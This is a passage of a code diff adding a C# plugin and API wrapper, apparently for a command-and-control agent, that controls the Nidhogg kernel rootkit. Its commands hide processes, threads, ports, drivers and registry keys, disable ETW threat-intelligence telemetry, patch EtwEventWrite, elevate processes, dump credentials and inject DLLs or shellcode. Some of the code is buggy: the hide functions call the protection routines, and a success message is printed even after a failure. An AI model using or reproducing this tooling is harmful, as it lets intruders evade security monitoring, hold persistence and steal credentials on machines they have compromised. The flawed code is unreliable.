patchPtr, patch.Length); + + NidhoggErrorCodes error = PatchModule(pid, patchPtr, (uint)patch.Length, "EtwEventWrite", + "C:\\Windows\\System32\\ntdll.dll"); + Marshal.FreeHGlobal(patchPtr); + return error; + } + } +} \ No newline at end of file diff --git a/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggNetwork.cs b/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggNetwork.cs new file mode 100644 index 000000000..10b854e75 --- /dev/null +++ b/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggNetwork.cs @@ -0,0 +1,66 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using static NidhoggCSharpApi.NidhoggApi; + +namespace NidhoggCSharpApi +{ + internal partial class NidhoggApi + { + private NidhoggErrorCodes PortHiding(ushort port, bool remote, PortType portType, bool hide) + { + InputHiddenPort hiddenPort; + + hiddenPort = new InputHiddenPort + { + Hide = hide, + Port = port, + Remote = remote, + Type = portType + }; + + return NidhoggSendDataIoctl(hiddenPort, IOCTL_HIDE_UNHIDE_PORT); + } + + public NidhoggErrorCodes HidePort(ushort port, bool remote, PortType portType) + { + return PortHiding(port, remote, portType, true); + } + + public NidhoggErrorCodes UnhidePort(ushort port, bool remote, PortType portType) + { + return PortHiding(port, remote, portType, false); + } + + public NidhoggErrorCodes ClearAllHiddenPorts() + { + if (!DeviceIoControl(this.hNidhogg, IOCTL_CLEAR_HIDDEN_PORTS, + IntPtr.Zero, 0, IntPtr.Zero, 0, out uint _, IntPtr.Zero)) + return NidhoggErrorCodes.NIDHOGG_ERROR_DEVICECONTROL_DRIVER; + + return NidhoggErrorCodes.NIDHOGG_SUCCESS; + } + + public HiddenPort[] QueryHiddenPorts() + { + HiddenPort[] hiddenPorts; + OutputHiddenPorts outHiddenPorts; + outHiddenPorts = new OutputHiddenPorts(); + + outHiddenPorts = NidhoggRecieveDataIoctl(outHiddenPorts, IOCTL_QUERY_HIDDEN_PORTS); + + if (outHiddenPorts.PortsCount == 0) + return null; + hiddenPorts = new HiddenPort[outHiddenPorts.PortsCount]; + + for (int i = 0; i < outHiddenPorts.PortsCount; i++) + { + hiddenPorts[i] = outHiddenPorts.Ports[i]; + } + + return hiddenPorts; + } + } +} \ No newline at end of file diff --git a/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggProcess.cs b/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggProcess.cs new file mode 100644 index 000000000..acab319c0 --- /dev/null +++ b/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggProcess.cs @@ -0,0 +1,106 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; +using static NidhoggCSharpApi.NidhoggApi; + +namespace NidhoggCSharpApi +{ + internal partial class NidhoggApi + { + private NidhoggErrorCodes ProcessProtection(uint pid, bool protect) + { + ProtectedProcess protectedProcess = new ProtectedProcess + { + Pid = pid, + Protect = protect + }; + + return NidhoggSendDataIoctl(protectedProcess, IOCTL_PROTECT_UNPROTECT_PROCESS); + } + + private NidhoggErrorCodes ProcessHiding(uint pid, bool hide) + { + HiddenProcess hiddenProcess = new HiddenProcess + { + Pid = pid, + Hide = hide + }; + return NidhoggSendDataIoctl(hiddenProcess, IOCTL_HIDE_UNHIDE_PROCESS); + } + + public NidhoggErrorCodes ProcessProtect(uint pid) + { + return ProcessProtection(pid, true); + } + + public NidhoggErrorCodes ProcessUnprotect(uint pid) + { + return ProcessProtection(pid, false); + } + + public NidhoggErrorCodes ProcessHide(uint pid) + { + return ProcessProtection(pid, true); + } + + public NidhoggErrorCodes ProcessUnhide(uint pid) + { + return ProcessProtection(pid, false); + } + + public NidhoggErrorCodes ProcessClearAllProtection() + { + if (!DeviceIoControl(hNidhogg, IOCTL_CLEAR_PROCESS_PROTECTION, + IntPtr.Zero, 0, IntPtr.Zero, 0, out uint _, IntPtr.Zero)) + return NidhoggErrorCodes.NIDHOGG_ERROR_DEVICECONTROL_DRIVER; + + return NidhoggErrorCodes.NIDHOGG_SUCCESS; + } + + public NidhoggErrorCodes ProcessSetProtection(uint pid, byte signerType, byte signatureSigner) + { + ProcessSignature processSignature; + + processSignature = new ProcessSignature + { + Pid = pid, + SignerType = signerType, + SignatureSigner = signatureSigner + }; + return NidhoggSendDataIoctl(processSignature, IOCTL_SET_PROCESS_SIGNATURE_LEVEL); + } + + public NidhoggErrorCodes ProcessElevate(uint pid) + { + return NidhoggSendDataIoctl(pid, IOCTL_ELEVATE_PROCESS); + } + + public uint[] QueryProtectedProcesses() + { + OutputProtectedProcessesList processesList; + uint[] processes; + + processesList = new OutputProtectedProcessesList + { + PidsCount = 0 + }; + + processesList = NidhoggRecieveDataIoctl(processesList, IOCTL_QUERY_PROTECTED_PROCESSES); + + if (processesList.PidsCount == 0) + return null; + processes = new uint[processesList.PidsCount]; + + for (int i = 0; i < processesList.PidsCount; i++) + { + processes[i] = processesList.Processes[i]; + } + + return processes; + } + } +} \ No newline at end of file diff --git a/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggRegistry.cs b/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggRegistry.cs new file mode 100644 index 000000000..03cd3661f --- /dev/null +++ b/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggRegistry.cs @@ -0,0 +1,197 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Security.Principal; +using System.Text; +using System.Threading.Tasks; + +namespace NidhoggCSharpApi +{ + internal partial class NidhoggApi + { + private string ParseRegistryKey(string key) + { + string parsedKey = key; + + if (key.StartsWith("HKEY_LOCAL_MACHINE")) + parsedKey = key.Replace("HKEY_LOCAL_MACHINE", @"\Registry\Machine"); + else if (key.StartsWith("HKLM")) + parsedKey = key.Replace("HKLM", @"\Registry\Machine"); + else if (key.StartsWith("HKEY_CLASSES_ROOT")) + parsedKey = key.Replace("HKEY_CLASSES_ROOT", @"\Registry\Machine\Software\Classes"); + else if (key.StartsWith("HKCR")) + parsedKey = key.Replace("HKCR", @"\Registry\Machine\Software\Classes"); + else if (key.StartsWith("HKEY_CURRENT_USER") || key.StartsWith("HKCU")) + { + string sid = WindowsIdentity.GetCurrent().User.Value; + parsedKey = key.Replace("HKEY_CURRENT_USER", $"\\Registry\\User\\{sid}") + .Replace("HKCU", $"\\Registry\\User\\{sid}"); + } + else if (key.StartsWith("HKEY_USERS")) + parsedKey = key.Replace("HKEY_USERS", @"\Registry\User"); + else if (key.StartsWith("HKU")) + parsedKey = key.Replace("HKU", @"\Registry\User"); + else if (key.StartsWith("HKEY_CURRENT_CONFIG")) + parsedKey = key.Replace("HKEY_CURRENT_CONFIG", @"\Registry\Machine\System\CurrentControlSet\Hardware Profiles\Current"); + else if (key.StartsWith("HKCC")) + parsedKey = key.Replace("HKCC", @"\Registry\Machine\System\CurrentControlSet\Hardware Profiles\Current"); + return parsedKey; + } + private NidhoggErrorCodes RegistryProtection(string key, RegItemType regItemType, bool protect, + string value = "") + { + RegItem regItem = new RegItem + { + KeyPath = ParseRegistryKey(key), + Type = regItemType + }; + + if (value != "" && (regItemType == RegItemType.RegHiddenValue || + regItemType == RegItemType.RegProtectedValue)) + regItem.ValueName = value; + + return protect ? NidhoggSendDataIoctl(regItem, IOCTL_PROTECT_REGITEM) : + NidhoggSendDataIoctl(regItem, IOCTL_UNPROTECT_REGITEM); + } + + private string[] QueryRegistryKeys(RegItemType regItemType) + { + RegItem result; + string[] keys; + int amountOfKeys; + + if (regItemType != RegItemType.RegProtectedKey && regItemType != RegItemType.RegHiddenKey) + return null; + + result = new RegItem + { + RegItemsIndex = 0, + Type = regItemType, + }; + + result = NidhoggSendRecieveDataIoctl(result, IOCTL_QUERY_REGITEMS); + amountOfKeys = result.RegItemsIndex; + + if (amountOfKeys == 0) + return null; + + keys = new string[amountOfKeys]; + keys[0] = result.KeyPath; + + for (int i = 1; i < amountOfKeys; i++) + { + result.RegItemsIndex = i; + + result = NidhoggRecieveDataIoctl(result, IOCTL_QUERY_REGITEMS); + keys[i] = result.KeyPath; + } + + return keys; + } + + private Dictionary QueryRegistryValues(RegItemType regItemType) + { + RegItem result; + Dictionary values; + int amountOfValues; + + if (regItemType != RegItemType.RegProtectedValue && regItemType != RegItemType.RegHiddenValue) + return null; + + result = new RegItem + { + RegItemsIndex = 0, + Type = regItemType, + }; + + result = NidhoggSendRecieveDataIoctl(result, IOCTL_QUERY_REGITEMS); + amountOfValues = result.RegItemsIndex; + + if (amountOfValues == 0) + return null; + + values = new Dictionary(amountOfValues) + { + { result.KeyPath, result.ValueName } + }; + + for (int i = 1; i < amountOfValues; i++) + { + result.RegItemsIndex = i; + + result = NidhoggRecieveDataIoctl(result, IOCTL_QUERY_REGITEMS); + values.Add(result.KeyPath, result.ValueName); + } + + return values; + } + + public NidhoggErrorCodes RegistryProtectKey(string key) + { + return RegistryProtection(key, RegItemType.RegProtectedKey, true); + } + + public NidhoggErrorCodes RegistryHideKey(string key) + { + return RegistryProtection(key, RegItemType.RegHiddenKey, true); + } + + public NidhoggErrorCodes RegistryProtectValue(string key, string value) + { + return RegistryProtection(key, RegItemType.RegProtectedValue, true, value); + } + + public NidhoggErrorCodes RegistryHideValue(string key, string value) + { + return RegistryProtection(key, RegItemType.RegHiddenValue, true, value); + } + + public NidhoggErrorCodes RegistryUnprotectKey(string key) + { + return RegistryProtection(key, RegItemType.RegProtectedKey, false); + } + + public NidhoggErrorCodes RegistryUnhideKey(string key) + { + return RegistryProtection(key, RegItemType.RegHiddenKey, false); + } + + public NidhoggErrorCodes RegistryUnprotectValue(string key, string value) + { + return RegistryProtection(key, RegItemType.RegProtectedValue, false, value); + } + + public NidhoggErrorCodes RegistryUnhideValue(string key, string value) + { + return RegistryProtection(key, RegItemType.RegHiddenValue, false, value); + } + + public NidhoggErrorCodes RegistryClearAllProtection() + { + if (!DeviceIoControl(hNidhogg, IOCTL_CLEAR_REGITEMS, + IntPtr.Zero, 0, IntPtr.Zero, 0, out uint _, IntPtr.Zero)) + return NidhoggErrorCodes.NIDHOGG_ERROR_DEVICECONTROL_DRIVER; + + return NidhoggErrorCodes.NIDHOGG_SUCCESS; + } + public string[] QueryProtectedRegistryKeys() + { + return QueryRegistryKeys(RegItemType.RegProtectedKey); + } + + public string[] QueryHiddenRegistryKeys() + { + return QueryRegistryKeys(RegItemType.RegHiddenKey); + } + + public Dictionary QueryProtectedRegistryValues() + { + return QueryRegistryValues(RegItemType.RegProtectedValue); + } + + public Dictionary QueryHiddenRegistryValues() + { + return QueryRegistryValues(RegItemType.RegHiddenValue); + } + } +} \ No newline at end of file diff --git a/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggStructs.cs b/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggStructs.cs new file mode 100644 index 000000000..cea5cc86d --- /dev/null +++ b/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggStructs.cs @@ -0,0 +1,340 @@ +using System; +using System.Runtime.InteropServices; + +namespace NidhoggCSharpApi +{ + internal partial class NidhoggApi + { + public enum NidhoggErrorCodes + { + NIDHOGG_SUCCESS, + NIDHOGG_GENERAL_ERROR, + NIDHOGG_ERROR_CONNECT_DRIVER, + NIDHOGG_ERROR_DEVICECONTROL_DRIVER, + NIDHOGG_INVALID_COMMAND, + NIDHOGG_INVALID_OPTION, + NIDHOGG_INVALID_INPUT + }; + + private const uint SYSTEM_PID = 4; + private const uint MAX_PATH = 260; + private const uint MAX_PATCHED_MODULES = 256; + private const uint MAX_FILES = 256; + private const uint MAX_DRIVER_PATH = 256; + private const uint MAX_PIDS = 256; + private const uint MAX_TIDS = 256; + private const uint MAX_ROUTINES = 64; + + private const uint REG_KEY_LEN = 255; + private const uint REG_VALUE_LEN = 260; + private const uint MAX_PORTS = 256; + + enum MODE + { + KernelMode, + UserMode + }; + + enum SignatureType + { + PsProtectedTypeNone = 0, + PsProtectedTypeProtectedLight = 1, + PsProtectedTypeProtected = 2 + }; + + enum SignatureSigner + { + PsProtectedSignerNone = 0, // 0 + PsProtectedSignerAuthenticode, // 1 + PsProtectedSignerCodeGen, // 2 + PsProtectedSignerAntimalware, // 3 + PsProtectedSignerLsa, // 4 + PsProtectedSignerWindows, // 5 + PsProtectedSignerWinTcb, // 6 + PsProtectedSignerWinSystem, // 7 + PsProtectedSignerApp, // 8 + PsProtectedSignerMax // 9 + }; + + public enum InjectionType + { + APCInjection, + NtCreateThreadExInjection + }; + + public enum RegItemType + { + RegProtectedKey = 0, + RegProtectedValue = 1, + RegHiddenKey = 2, + RegHiddenValue = 3 + }; + + public enum CallbackType + { + ObProcessType, + ObThreadType, + PsCreateProcessTypeEx, + PsCreateProcessType, + PsCreateThreadType, + PsCreateThreadTypeNonSystemThread, + PsImageLoadType, + CmRegistryType + }; + + // ********************************************************************************************************* + + // ** General Structures *************************************************************************************** + struct KernelCallback + { + public CallbackType Type; + public ulong CallbackAddress; + public bool Remove; + }; + + public struct ObCallback + { + public IntPtr PreOperation; + public IntPtr PostOperation; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = (int)MAX_DRIVER_PATH)] + public string DriverName; // new char[MAX_DRIVER_PATH]; + }; + + public struct PsRoutine + { + public ulong CallbackAddress; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = (int)MAX_DRIVER_PATH)] + public string DriverName; //[MAX_DRIVER_PATH]; + }; + + public struct CmCallback + { + public ulong CallbackAddress; + public ulong Context; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = (int)MAX_DRIVER_PATH)] + public string DriverName; //[MAX_DRIVER_PATH]; + }; + + public struct RawObCallbacksList + { + public CallbackType Type; + public uint NumberOfCallbacks; + public IntPtr Callbacks; + }; + + public struct ObCallbacksList + { + public CallbackType Type; + public uint NumberOfCallbacks; + public ObCallback[] Callbacks; + }; + + public struct RawPsRoutinesList + { + public CallbackType Type; + public uint NumberOfRoutines; + public IntPtr Routines; // [MAX_ROUTINES]; + }; + + public struct PsRoutinesList + { + public CallbackType Type; + public uint NumberOfRoutines; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = (int)MAX_ROUTINES)] + public PsRoutine[] Routines; // [MAX_ROUTINES]; + }; + + public struct CmCallbacksList + { + public uint NumberOfCallbacks; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = (int)MAX_ROUTINES)] + public CmCallback[] Callbacks; + }; + + public struct RawCmCallbacksList + { + public uint NumberOfCallbacks; + public IntPtr Callbacks; // [MAX_ROUTINES]; + }; + + struct PatchedModule + { + public uint Pid; + public IntPtr Patch; + public uint PatchLength; + public string FunctionName; + [MarshalAs(UnmanagedType.LPWStr)] + public string ModuleName; // WCHAR* + }; + + public struct OutputProtectedProcessesList + { + public uint PidsCount; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = (int)MAX_PIDS)] + public uint[] Processes; // [MAX_PIDS]; + }; + + public struct OutputThreadsList + { + public uint TidsCount; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = (int)MAX_TIDS)] + public uint[] Threads; //[MAX_TIDS]; + }; + + public struct ProcessSignature + { + public uint Pid; + public byte SignerType; + public byte SignatureSigner; + }; + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + struct FileItem + { + public int FileIndex; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = (int)MAX_PATH)] + public string FilePath; // [MAX_PATH]; WCHAR + }; + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + struct RegItem + { + public int RegItemsIndex; + public RegItemType Type; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = (int)REG_KEY_LEN)] + public string KeyPath;// [REG_KEY_LEN]; WCHAR + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = (int)REG_VALUE_LEN)] + public string ValueName;// [REG_VALUE_LEN]; WCHAR + }; + + [StructLayout(LayoutKind.Sequential)] + struct DllInformation + { + public InjectionType Type; + public uint Pid; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = (int)MAX_PATH)] + public string DllPath; //[MAX_PATH]; + }; + + struct ShellcodeInformation + { + public InjectionType Type; + public uint Pid; + public uint ShellcodeSize; + public IntPtr Shellcode; + public IntPtr Parameter1; + public IntPtr Parameter2; + public IntPtr Parameter3; + }; + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + struct HiddenModuleInformation + { + public uint Pid; + public string ModuleName; //wchar + }; + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + struct HiddenDriverInformation + { + public string DriverName; //WCHAR + public bool Hide; + }; + + public struct ProtectedProcess + { + public uint Pid; + public bool Protect; + }; + + public struct HiddenProcess + { + public uint Pid; + public bool Hide; + }; + + public struct HiddenThread + { + public uint Tid; + public bool Hide; + }; + + public struct ProtectedThread + { + public uint Tid; + public bool Protect; + }; + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct ProtectedFile + { + public string FilePath; + public bool Protect; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct UNICODE_STRING + { + public ushort Length; + public ushort MaximumLength; + public IntPtr Buffer; + // _Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer; + }; + + public struct DesKeyInformation + { + public uint Size; + public IntPtr Data; + }; + + public struct Credentials + { + public UNICODE_STRING Username; + public UNICODE_STRING Domain; + public UNICODE_STRING EncryptedHash; + }; + + public struct OutputCredentials + { + public uint Index; + public Credentials Creds; + }; + + public enum PortType + { + TCP = 0, + UDP + }; + + [StructLayout(LayoutKind.Sequential)] + public struct InputHiddenPort + { + [MarshalAs(UnmanagedType.I1)] + public bool Hide; + [MarshalAs(UnmanagedType.I1)] + public bool Remote; + public PortType Type; + public ushort Port; + }; + + public struct HiddenPort + { + public bool Remote; + public PortType Type; + public ushort Port; + }; + + public struct OutputHiddenPorts + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = (int)MAX_PORTS)] + public HiddenPort[] Ports; //[MAX_PORTS]; + public ushort PortsCount; + }; + + public struct ScriptInformation + { + public IntPtr Script; + public uint ScriptSize; + }; + } +} \ No newline at end of file diff --git a/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggThread.cs b/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggThread.cs new file mode 100644 index 000000000..3dd2d1350 --- /dev/null +++ b/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggApi/NidhoggThread.cs @@ -0,0 +1,84 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace NidhoggCSharpApi +{ + internal partial class NidhoggApi + { + private NidhoggErrorCodes ThreadProtection(uint tid, bool protect) + { + ProtectedThread protectedThread = new ProtectedThread + { + Tid = tid, + Protect = protect + }; + + return NidhoggSendDataIoctl(protectedThread, IOCTL_PROTECT_UNPROTECT_THREAD); + } + + private NidhoggErrorCodes ThreadHiding(uint tid, bool hide) + { + HiddenThread hiddenThread = new HiddenThread + { + Tid = tid, + Hide = hide + }; + return NidhoggSendDataIoctl(hiddenThread, IOCTL_HIDE_UNHIDE_THREAD); + } + + public NidhoggErrorCodes ThreadProtect(uint tid) + { + return ThreadProtection(tid, true); + } + + public NidhoggErrorCodes ThreadUnprotect(uint tid) + { + return ThreadProtection(tid, false); + } + + public NidhoggErrorCodes ThreadHide(uint tid) + { + return ThreadProtection(tid, true); + } + + public NidhoggErrorCodes ThreadUnhide(uint tid) + { + return ThreadProtection(tid, false); + } + + public NidhoggErrorCodes ThreadClearAllProtection() + { + if (!DeviceIoControl(hNidhogg, IOCTL_CLEAR_THREAD_PROTECTION, + IntPtr.Zero, 0, IntPtr.Zero, 0, out uint _, IntPtr.Zero)) + return NidhoggErrorCodes.NIDHOGG_ERROR_DEVICECONTROL_DRIVER; + + return NidhoggErrorCodes.NIDHOGG_SUCCESS; + } + public uint[] QueryProtectedThreads() + { + OutputThreadsList threadsList; + uint[] threads; + + threadsList = new OutputThreadsList + { + TidsCount = 0 + }; + + threadsList = NidhoggRecieveDataIoctl(threadsList, IOCTL_QUERY_PROTECTED_THREADS); + + if (threadsList.TidsCount == 0) + return null; + threads = new uint[threadsList.TidsCount]; + + for (int i = 0; i < threadsList.TidsCount; i++) + { + threads[i] = threadsList.Threads[i]; + } + + return threads; + } + } +} \ No newline at end of file diff --git a/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggArgs.cs b/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggArgs.cs new file mode 100644 index 000000000..ff79b1e85 --- /dev/null +++ b/Payload_Type/athena/athena/agent_code/nidhogg/NidhoggArgs.cs @@ -0,0 +1,19 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net.Http.Headers; +using System.Text; +using System.Threading.Tasks; + +namespace nidhogg +{ + public class NidhoggArgs + { + public string command { get; set; } + public string script { get; set; } = String.Empty; + public string path { get; set; } = String.Empty; + public string value { get; set; } = String.Empty; + public uint id { get; set; } = 0; + + } +} diff --git a/Payload_Type/athena/athena/agent_code/nidhogg/nidhogg.cs b/Payload_Type/athena/athena/agent_code/nidhogg/nidhogg.cs new file mode 100644 index 000000000..47d34e8bd --- /dev/null +++ b/Payload_Type/athena/athena/agent_code/nidhogg/nidhogg.cs @@ -0,0 +1,637 @@ +using Agent.Interfaces; +using Agent.Models; +using Agent.Utilities; +using System.Text.Json; +using nidhogg; +using NidhoggCSharpApi; +using System.Runtime.InteropServices; +using System.Text; +using static NidhoggCSharpApi.NidhoggApi; + +namespace Agent +{ + public class Plugin : IPlugin + { + public string Name => "nidhogg"; + private IMessageManager messageManager { get; set; } + private ITokenManager tokenManager { get; set; } + + public Plugin(IMessageManager messageManager, IAgentConfig config, ILogger logger, ITokenManager tokenManager, ISpawner spawner) + { + this.messageManager = messageManager; + this.tokenManager = tokenManager; + } + public async Task Execute(ServerJob job) + { + NidhoggArgs args = JsonSerializer.Deserialize(job.task.parameters); + + try + { + var nidhogg = new NidhoggApi(); + await this.HandleNidhoggCommand(nidhogg, args, job.task.id); + } + catch (NidhoggApiException e) + { + await this.messageManager.WriteLine(e.Message, job.task.id, true, "error"); + return; + } + } + + private async Task HandleNidhoggCommand(NidhoggApi api, NidhoggArgs args, string task_id) + { + switch (args.command.ToLower()) + { + case "executescript": + await this.ExecuteNidhoggScript(api, args, task_id); + break; + case "protectfile": + await this.ModifyFileProtections(api, args, task_id, true); + break; + case "unprotectfile": + await this.ModifyFileProtections(api, args, task_id, false); + break; + case "protectprocess": + await this.ModifyProcessProtections(api, args, task_id, true); + break; + case "unprotectprocess": + await this.ModifyProcessProtections(api, args, task_id, false); + break; + case "hideprocess": + await this.ModifyProcessVisibility(api, args, task_id, true); + break; + case "unhideprocess": + await this.ModifyProcessVisibility(api, args, task_id, false); + break; + case "elevateprocess": + await this.ModifyProcessElevation(api, args, task_id); + break; + case "hidethread": + await this.ModifyThreadVisibility(api, args, task_id, true); + break; + case "unhidethread": + await this.ModifyThreadVisibility(api, args, task_id, false); + break; + case "protectthread": + await this.ModifyThreadProtection(api, args, task_id, true); + break; + case "unprotectthread": + await this.ModifyThreadProtection(api, args, task_id, false); + break; + case "protectregistrykey": + await this.ModifyRegistryKeyProtection(api, args, task_id, true); + break; + case "unprotectregistrykey": + await this.ModifyRegistryKeyProtection(api, args, task_id, false); + break; + case "hideregistrykey": + await this.ModifyRegistryKeyVisibility(api, args, task_id, true); + break; + case "unhideregistrykey": + await this.ModifyRegistryKeyVisibility(api, args, task_id, false); + break; + case "protectregistryvalue": + await this.ModifyRegistryValueProtection(api, args, task_id, true); + break; + case "unprotectregistryvalue": + await this.ModifyRegistryValueProtection(api, args, task_id, false); + break; + case "hideregistryvalue": + await this.ModifyRegistryValueVisibility(api, args, task_id, true); + break; + case "unhideregistryvalue": + await this.ModifyRegistryValueVisibility(api, args, task_id, false); + break; + case "enableetwti": + await this.NidhoggModifyEtwTi(api, task_id, true); + break; + case "disableetwti": + await this.NidhoggModifyEtwTi(api, task_id, false); + break; + case "hidedriver": + await this.NidhoggModifyDriverVisibility(api, args, task_id, true); + break; + case "unhidedriver": + await this.NidhoggModifyDriverVisibility(api, args, task_id, false); + break; + case "hidemodule": + await this.NidhoggModifyModuleVisibility(api, args, task_id); + break; + case "hideport": + await this.NidhoggModifyPortVisibility(api, args, task_id, true); + break; + case "unhideport": + await this.NidhoggModifyPortVisibility(api, args, task_id, false); + break; + case "dumpcreds": + await this.NidhoggDumpCredentials(api, task_id); + break; + case "injectdll": + await this.NidhoggDllInjection(api, args, task_id); + break; + default: + break; + } + } + + private async Task ExecuteNidhoggScript(NidhoggApi api, NidhoggArgs args, string task_id) + { + byte[] fileData = Misc.Base64DecodeToByteArray(args.script); + IntPtr dataPtr = Marshal.AllocHGlobal(fileData.Length); + Marshal.Copy(fileData, 0, dataPtr, fileData.Length); + NidhoggApi.NidhoggErrorCodes error; + error = api.ExecuteScript(dataPtr, (uint)fileData.Length); + Marshal.FreeHGlobal(dataPtr); + + if (error != NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS) + await this.messageManager.WriteLine($"Failed to execute script: {error}", task_id, true, "error"); + + + await this.messageManager.WriteLine("Script executed succesfully", task_id, true); + } + private async Task ModifyFileProtections(NidhoggApi api, NidhoggArgs args, string task_id, bool protect) + { + StringBuilder sb = new StringBuilder(); + NidhoggApi.NidhoggErrorCodes err; + + if(protect) + + if (protect) + { + err = api.FileProtect(args.path); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to protect file: {err}", task_id, true, "error"); + return; + } + + } + else + { + err = api.FileUnprotect(args.path); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to unprotect file: {err}", task_id, true, "error"); + return; + } + } + + sb.AppendLine("[+] Files after protect:"); + + foreach (var file in api.QueryFiles()) + { + sb.AppendLine($"\t{file}"); + } + + await this.messageManager.WriteLine(sb.ToString(), task_id, true); + } + private async Task ModifyProcessProtections(NidhoggApi api, NidhoggArgs args, string task_id, bool protect) + { + StringBuilder sb = new StringBuilder(); + NidhoggApi.NidhoggErrorCodes err; + + if (protect) + { + err = api.ProcessProtect(args.id); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to protect process: {err}", task_id, true, "error"); + return; + } + + } + else + { + err = api.ProcessUnprotect(args.id); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to unprotect process: {err}", task_id, true, "error"); + return; + } + } + + sb.AppendLine("[+] Protected Processes:"); + + foreach (var proc in api.QueryProtectedProcesses()) + { + sb.AppendLine($"\t{proc}"); + } + + await this.messageManager.WriteLine(sb.ToString(), task_id, true); + } + private async Task ModifyProcessVisibility(NidhoggApi api, NidhoggArgs args, string task_id, bool hide) + { + StringBuilder sb = new StringBuilder(); + NidhoggApi.NidhoggErrorCodes err; + if (hide) + { + err = api.ProcessHide(args.id); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to hide process: {err}", task_id, true, "error"); + return; + } + + } + else + { + err = api.ProcessUnhide(args.id); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to unhide process: {err}", task_id, true, "error"); + return; + } + } + + sb.AppendLine("Success."); + + + await this.messageManager.WriteLine(sb.ToString(), task_id, true); + } + private async Task ModifyProcessElevation(NidhoggApi api, NidhoggArgs args, string task_id) + { + StringBuilder sb = new StringBuilder(); + NidhoggApi.NidhoggErrorCodes err; + err = api.ProcessElevate(args.id); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to protect process: {err}", task_id, true, "error"); + return; + } + + sb.AppendLine("Success."); + await this.messageManager.WriteLine(sb.ToString(), task_id, true); + } + private async Task ModifyThreadVisibility(NidhoggApi api, NidhoggArgs args, string task_id, bool hide) + { + StringBuilder sb = new StringBuilder(); + NidhoggApi.NidhoggErrorCodes err; + if (hide) + { + err = api.ThreadHide(args.id); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to hide process: {err}", task_id, true, "error"); + return; + } + } + else + { + err = api.ThreadUnhide(args.id); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to unhide process: {err}", task_id, true, "error"); + return; + } + } + sb.AppendLine("Success."); + await this.messageManager.WriteLine(sb.ToString(), task_id, true); ; + } + private async Task ModifyThreadProtection(NidhoggApi api, NidhoggArgs args, string task_id, bool protect) + { + StringBuilder sb = new StringBuilder(); + NidhoggApi.NidhoggErrorCodes err; + if (protect) + { + err = api.ThreadProtect(args.id); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to protect thread: {err}", task_id, true, "error"); + return; + } + + } + else + { + err = api.ThreadUnprotect(args.id); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to unprotect thread: {err}", task_id, true, "error"); + return; + } + } + + sb.AppendLine("[+] 